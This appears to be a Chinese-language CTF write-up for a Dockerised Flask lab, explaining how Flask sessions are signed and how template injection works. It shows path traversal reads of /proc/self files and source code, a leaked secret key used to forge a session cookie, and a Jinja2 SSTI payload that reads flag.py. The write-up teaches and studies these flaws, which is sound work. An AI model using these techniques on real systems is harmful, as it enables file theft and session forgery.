hkt1998

hkt1998

session原理和模板注入漏洞

通过在任意文件读取的靶场进行实验,研究Flask框架的session原理和Flask模板注入漏洞原理。靶场的搭建信息如下:

docker-compose.yml

version: '3.2'
services:
  web:
    image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest
    ports:
      - 5000:5000

靶场解题过程

开局一路点过来,到这个界面。看到有个name参数,尝试一下其它参数值。

开局提交了用户名,点击链接进入这个界面。

出现了路径信息,看来参数是文件名。

尝试使用../访问上级目录,没有过滤,可以访问到其它路径内容。

那这样基本就实现了任意文件读取,接下来就是看看要读取什么文件了。

查看一下/proc/self/cmdline,看看当前进程是用什么命令启动的。

注意这里的分隔符,输出的是,所以在开发者工具里才能看得见。

所以,进程指令是:

python server.py

1. 读取代码

下一步是找到server.py文件的位置,可以通过/proc/self/environ查看环境变量,间接找到工作目录,也可以直接从/proc/self/cwd访问到工作目录。

cwd(current word directory)意思就是当前工作路径,访问/proc/self/cwd/server.py就能看到server.py的内容。

换行的问题可以通过开发者工具辅助解决。

server.py的内容(我加了注释):

#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    # 获取表单中的 n1code 参数,并且过滤非法字符
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    # 将过滤后的 n1code 放入 session,但前提条件是 session 中的 n1code 是空才会放入
    # 所以如果伪造一个 session,n1code 就不会被替换掉了
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    # 此处直接将 session 中 n1code 的值写入模板,导致注入漏洞
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)
@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e
    return render_template('article.html', template=template)
if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

通过代码得知同路径下还有一个key.py文件和flag.py文件。

key.py中包含一个密钥值,用于session的加解密。

#!/usr/bin/python
key = 'Drmhze6EPcv0fN_81Bj-nA'

flag.py的内容被拦截了,如代码所示,URL中包含flag关键词就会返回nofollow.txt的把内容。

2. 伪造session

由于没法直接读取flag.py文件,只能从代码中入手。发现代码中对请求体中的n1code参数进行了过滤,然后当sessionn1code为空时,将过滤后的n1code写入session

那么就存在一个问题,只要让session中的n1code值不为空,就不会被替换掉,并且这个值会被写入模板中。

现在的任务是伪造一个合法的session,我们已经从key.py中知道了密钥,剩下的就用工具生成session即可。Flask的session加解密机制会在下面介绍

使用工具flask-session-cookie-manager,项目地址:GitHub - noraj/flask-session-cookie-manager: :cookie: Flask Session Cookie Decoder/Encoder

需要先安装itsdangerous前置

pip install itsdangerous

先从开发者工具找到session值

目前持有的信息:

session = "eyJuMWNvZGUiOm51bGx9.ZepwZg.xHRriVRs7MtRI8c6LVwndWEXzu4"
key = 'Drmhze6EPcv0fN_81Bj-nA'

用工具解密,-s指定密钥,-c指定session值

PS C:Usershkt1998> python flask_session_cookie_manager3.py decode -s 'Drmhze6EPcv0fN_81Bj-nA' -c 'eyJuMWNvZGUiOm51bGx9.ZepwZg.xHRriVRs7MtRI8c6LVwndWEXzu4'
{'n1code': None}

其实flask session并没有对内容进行加密,只对内容生成了个完整性校验码,可以看到session值分为三部分,用点号进行分割。第一部分为 Session Data ,即会话数据。第二部分为 Timestamp ,即时间戳。第三部分为 Cryptographic Hash ,即加密哈希。将第一段内容拿去base64解码,就能看到明文信息。

尝试将n1code的值改为testaaa,加密写入session-s指定密钥,-t指定要加密的字符串。注意引号要用反斜杠转义

PS C:Usershkt1998> python flask_session_cookie_manager3.py encode -s 'Drmhze6EPcv0fN_81Bj-nA' -t '{"n1code" : "testaaa"}'
eyJuMWNvZGUiOiJ0ZXN0YWFhIn0.ZeqEVw.TfD3k5N9L52WqLY8gUP-01M0SmI

抓包重发请求,将n1code设为abcsession设为刚才加密的结果。

可以看到响应中写入的是testaaa而不是abc,说明session['n1code']没有被覆盖。

3. 模板注入

既然已经绕过过滤代码,那就可以往模板中写入payload了。

Flask的模板引擎只支持部分的python语句和表达式,默认函数是不支持的,所以需要python的魔法函数来执行想用的函数。payload的构造原理会在下面介绍

payload如下:

{{''.__class__.__mro__[2].__subclasses__()[40]('/proc/self/cwd/flag.py').read()}}

生成session(此处双引号用反斜杠转义,单引号用单引号转义):

PS C:Usershkt1998> python flask_session_cookie_manager3.py encode -s 'Drmhze6EPcv0fN_81Bj-nA' -t '{"n1code":"{{''''.__class__.__mro__[2].__subclasses__()[40](''/proc/self/cwd/flag.py'').read()}}",}'
eyJuMWNvZGUiOiJ7eycnLl9fY2xhc3NfXy5fX21yb19fWzJdLl9fc3ViY2xhc3Nlc19fKClbNDBdKCcvcHJvYy9zZWxmL2N3ZC9mbGFnLnB5JykucmVhZCgpfX0ifQ.Zeq9fg.F4zlUBoeC33odFkP4sMEN04kfEQ

成功拿到flag!